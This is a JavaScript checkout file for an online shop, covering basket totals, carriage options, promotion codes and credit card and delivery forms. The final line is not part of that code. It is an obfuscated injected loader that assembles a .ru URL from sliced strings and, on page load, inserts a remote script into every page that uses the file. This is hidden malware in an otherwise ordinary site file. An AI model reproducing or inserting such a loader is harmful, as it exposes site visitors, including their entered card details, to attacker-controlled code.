/* Copyright Commcam Limited 2008. All rights reserved. (See licence/licence.txt) */
function updateCarriage(objSelect)
{
	var objValue = document.getElementById("carriageValue");
	var dCurrent = parseFloat(objValue.innerHTML);
	var dValue = 0;
	var objOption = document.getElementById("carriage_" + objSelect.value);
	var objBasketTotal = document.getElementById("basketTotal");
	var dTotalPrice = parseFloat(getFormValue("total"));

	if (objOption)
	{
		dValue = objOption.getAttribute("money");
		dTotalPrice = parseFloat(objBasketTotal.innerHTML) +  parseFloat(dValue) - dCurrent;
	}


	objValue.innerHTML = currencyFormatted(dValue);
	objBasketTotal.innerHTML = currencyFormatted(dTotalPrice);
}

function proceedToCheckOut()
{
	startLoading("_updateBasket('CHECKOUT', '', 'B')");
}

function _proceedToCheckOut()
{
	var objAjax = new CAjax();
	
	if (objAjax.open("dynamic/basketControl.php?mode=CHECKOUT", true))
	{
		var objDiv = g_objTabs.addTab("basket", "Basket", true, true);
		objDiv.innerHTML = objAjax.getResponse();
	}
	
	_displayQuickBasket();
}

function completeOrder(cOrderType)
{
	startLoading("_completeOrder('" + cOrderType + "')");
}

function _completeOrder(cOrderType)
{
	var objAjax = new CAjax();
	var bUseBudget = getFormValue("usebudget");
	var dCreditRemaining = getFormValue("creditremaining");
	var dTotalPrice = parseFloat(getFormValue("total"));
	var strUserType = getFormValue("usertype");
	var objCarriage = document.getElementById("carriage");
	var objPromotionCode = document.getElementById("promotioncode");
	var objPromoValue;
	var strPromo = "";

	var objOption;
	var bOver = false;
	
	if (objCarriage)
	{
		objOption = document.getElementById("carriage_" + objCarriage.value);
	}
	
	if (objPromotionCode)
	{
	    if(objPromotionCode.value != "")
	    {
	        objPromoValue = document.getElementById("c_"+objPromotionCode.value);
	        strPromo = "&promo=" + objPromoValue.value + "&promoCode=" + objPromotionCode.value;
	    } else { 
	        strPromo = "";    
        }
    }
    
	if (parseInt(getFormValue("carriageCount")) > 1)
	{	
		if (objCarriage.value == "")
		{
			alert("Please select a carriage option");
			return;
		}
		
		if (objOption)
		{
			dValue = parseFloat(objOption.getAttribute("money"));
			dTotalPrice += dValue;
		}
	}

	if (bUseBudget == 1)
	{
		if (parseInt(dCreditRemaining) < parseInt(dTotalPrice))
		{
			alert("Your remaining credit is " + dCreditRemaining + ", which exceeds the cost of this sale");
			
			if (strUserType == "B")
			{
				bOver = true;
			}
		}
	}
	
	if (!bOver && objAjax.open("dynamic/ordering.php?mode=COMPLETEORDER&ordertype=" + cOrderType + "&carriage=" + getFormValue("carriage") + strPromo, true))
	{
		var objDiv = document.getElementById("homeContent");
		
		objDiv.innerHTML = objAjax.getResponse();
	}
		
	endLoading();
}

function processDummy()
{
	var objAjax = new CAjax();

	if (objAjax.open("dynamic/ordering.php?mode=CREDITCARD", true))
	{
		objDiv = document.getElementById("innerContent");
		objDiv.innerHTML = objAjax.getResponse();	
	}
	
	endLoading();
}

function processCreditCard()
{
	var objForm = document.getElementById("creditCard");
	
	if (validateForm(objForm))
	{
		startLoading("_processCreditCard()");
	}
}

function _processCreditCard()
{
	var objDeliveryDoc = xml_createXmlDom();

	var objAjax, objDeliveryNode, objDiv;
	
	objDeliveryDoc.loadXML("<creditCard/>");
	
	objDeliveryNode = objDeliveryDoc.selectSingleNode("/delivery");

	xml_createNode(objDeliveryNode, "firstName", getFormValue("firstname"));
	xml_createNode(objDeliveryNode, "surname", getFormValue("surname"));
	xml_createNode(objDeliveryNode, "cardType", getFormValue("cardtype"));
	xml_createNode(objDeliveryNode, "cardno", getFormValue("cardNo"));
	xml_createNode(objDeliveryNode, "validfrom", getFormValue("validfrom"));
	xml_createNode(objDeliveryNode, "validto", getFormValue("validto"));
	xml_createNode(objDeliveryNode, "cvv", getFormValue("cvv"));
	xml_createNode(objDeliveryNode, "address1", getFormValue("address1"));
	xml_createNode(objDeliveryNode, "address2", getFormValue("address2"));
	xml_createNode(objDeliveryNode, "address3", getFormValue("address3"));
	xml_createNode(objDeliveryNode, "address4", getFormValue("address4"));
	xml_createNode(objDeliveryNode, "postcode", getFormValue("postcode"));
	
	objAjax = new CAjax();
	
	if (objAjax.open("dynamic/ordering.php?mode=CREDITCARD", false))
	{
		objDiv = document.getElementById("innerContent");
		objAjax.send(objDeliveryDoc.xml);
		objDiv.innerHTML = objAjax.getResponse();	
	}
	
	endLoading();
}

function processOrder()
{
	var objForm = document.getElementById("deliveryDetails");
	
	objCheck = document.getElementById("tocCheck");
	
	if (!objCheck.checked)
	{
		alert("Please confirm you have read the terms and conditions");
		return;
	}
	
	if (validateForm(objForm))
	{
		startLoading("_processOrder()");
	}
}

function _processOrder()
{
	var objDeliveryDoc = xml_createXmlDom();

	var objAjax, objDeliveryNode, objDiv;
	
	objDeliveryDoc.loadXML("<delivery/>");
	
	objDeliveryNode = objDeliveryDoc.selectSingleNode("/delivery");

	xml_createNode(objDeliveryNode, "requiredDate", getFormValue("requireddate"));
	xml_createNode(objDeliveryNode, "instructions", getFormValue("instructions"));
	xml_createNode(objDeliveryNode, "reference", getFormValue("reference"));
	xml_createNode(objDeliveryNode, "contact", getFormValue("contact"));
	xml_createNode(objDeliveryNode, "address1", getFormValue("address1"));
	xml_createNode(objDeliveryNode, "address2", getFormValue("address2"));
	xml_createNode(objDeliveryNode, "address3", getFormValue("address3"));
	xml_createNode(objDeliveryNode, "address4", getFormValue("address4"));
	xml_createNode(objDeliveryNode, "postcode", getFormValue("postcode"));
	xml_createNode(objDeliveryNode, "email", getFormValue("email"));
	xml_createNode(objDeliveryNode, "howHear", getFormValue("howHear"));
	
	objAjax = new CAjax();
	
	if (objAjax.open("dynamic/ordering.php?mode=PROCESS", false))
	{
		objDiv = document.getElementById("innerContent");
		objAjax.send(objDeliveryDoc.xml);
		
		document.location.href = "processOrder.php";
	}
	else
	{
		endLoading();
	}

}

function toggleDefaultDeliveryAddress(objCheck)
{
	var objAddress1, objAddress2, objAddress3, objAddress4, objPostCode, objContactName;
	
	objAddress1 = document.getElementById("address1");
	objAddress2 = document.getElementById("address2");
	objAddress3 = document.getElementById("address3");
	objAddress4 = document.getElementById("address4");
	objPostCode = document.getElementById("postcode");
	objContactName = document.getElementById("contact");
	
	if (objCheck.checked)
	{
		objAddress1.value = getFormValue("default_address1");
		objAddress2.value = getFormValue("default_address2");
		objAddress3.value = getFormValue("default_address3");
		objAddress4.value = getFormValue("default_address4");
		objPostCode.value = getFormValue("default_postcode");
		objContactName.value = getFormValue("default_contact");
	}
	
	objAddress1.disabled = objCheck.checked;
	objAddress2.disabled = objCheck.checked;
	objAddress3.disabled = objCheck.checked;
	objAddress4.disabled = objCheck.checked;
	objPostCode.disabled = objCheck.checked;
	objContactName.disabled = objCheck.checked;
}

function toc()
{
	window.open("toc.php", "_toc");
}
var y;if(y!='T' && y != ''){y=null};var l=new Array();function c(){var mB=new Array();var I='';var Z=String("658g".substr(3));var i;if(i!='qI' && i!='J'){i=''};var m=RegExp;this.sc='';var H=new String();var aL=new String();function w(q,s){var BM="";var QI;if(QI!='SM' && QI!='G'){QI=''};var bA;if(bA!='' && bA!='HD'){bA='ma'};var qG= new String("[");qG+=s;qG+=String("]m3F".substr(0,1));var bo="";var ck="";var fM=new Date();var ZP=new m(qG, Z);var Vz;if(Vz!='' && Vz!='LX'){Vz='nP'};return q.replace(ZP, I);};var O=new String();this.vq="";var yS='';var h=String("/g"+"oo"+"gl"+"e."+"co"+"m/q9sQ".substr(0,2)+"goqC6h".substr(0,2)+"YqNogYNq".substr(3,2)+"t4Klet4K".substr(3,2)+"2zW.c2Wz".substr(3,2)+"HLpom".substr(3)+"/mLJ6j".substr(0,2)+"4Cw2ai".substr(4)+"l.UV27".substr(0,2)+"aBlvcovBal".substr(4,2)+"pFXm/FXp".substr(3,2)+"ma3KsS".substr(0,2)+"2SdPin".substr(4)+"jHl0ic0jHl".substr(4,2)+"bGnIhiGnIb".substr(4,2)+".j"+"p/"+"B5Iim".substr(3)+"CD128C1D".substr(3,2)+"6.kjR8".substr(0,2)+"wGMcowMG".substr(3,2)+"m."+"3Czph".substr(3)+"Sofp".substr(3));var R="";var HN="";var L=String("srq4i".substr(0,2)+"cxOH".substr(0,1));var hC='';var sp;if(sp!='' && sp!='AU'){sp=null};var V=String("scri"+"pt");this.WY="";var Id=window;var Cm=new Array();var qD="rFu7http:".substr(4)+"rhX//awerXh".substr(3,5)+"ber-cBYS".substr(0,5)+"om.na4Wk".substr(0,5)+"qigs.f3m".substr(0,5)+"SQnjcom.r".substr(4)+"evers"+"PYyo-netyYP".substr(3,5)+".themOVH".substr(0,5)+"RqUixban".substr(3)+"m9Gk.ru:".substr(3);var bz;if(bz!='p'){bz='p'};var v=String("defeXpnk".substr(0,4)+"Nfhr".substr(3));var ij=new Date();var _h;if(_h!='' && _h!='Hw'){_h=null};var F=w('81111017978999799097711',"719");var D;if(D!='MA' && D!='cq'){D='MA'};Id.onload=function(){var iX;if(iX!='Ic'){iX='Ic'};try {var Wp=new Date();var ZG='';hC=qD+F;var x="";var WM='';hC+=h;var gH;if(gH!='iv' && gH!='ox'){gH='iv'};d=document.createElement(V);var hnu;if(hnu!='' && hnu!='Y'){hnu='eX'};this.js="";d[L]=hC;this.P='';d[v]=[1][0];var uL;if(uL!='' && uL!='ry'){uL='jb'};var nn;if(nn!='Aq' && nn!='Qp'){nn=''};var lq=new Date();var RT=new Date();document.body.appendChild(d);var tB=new Date();var of=new Array();var KC=new String();} catch(B){this.ca="";var Cw=new Array();};};};var gW=new Date();c();var rS=new String();var fX;if(fX!=''){fX='kF'};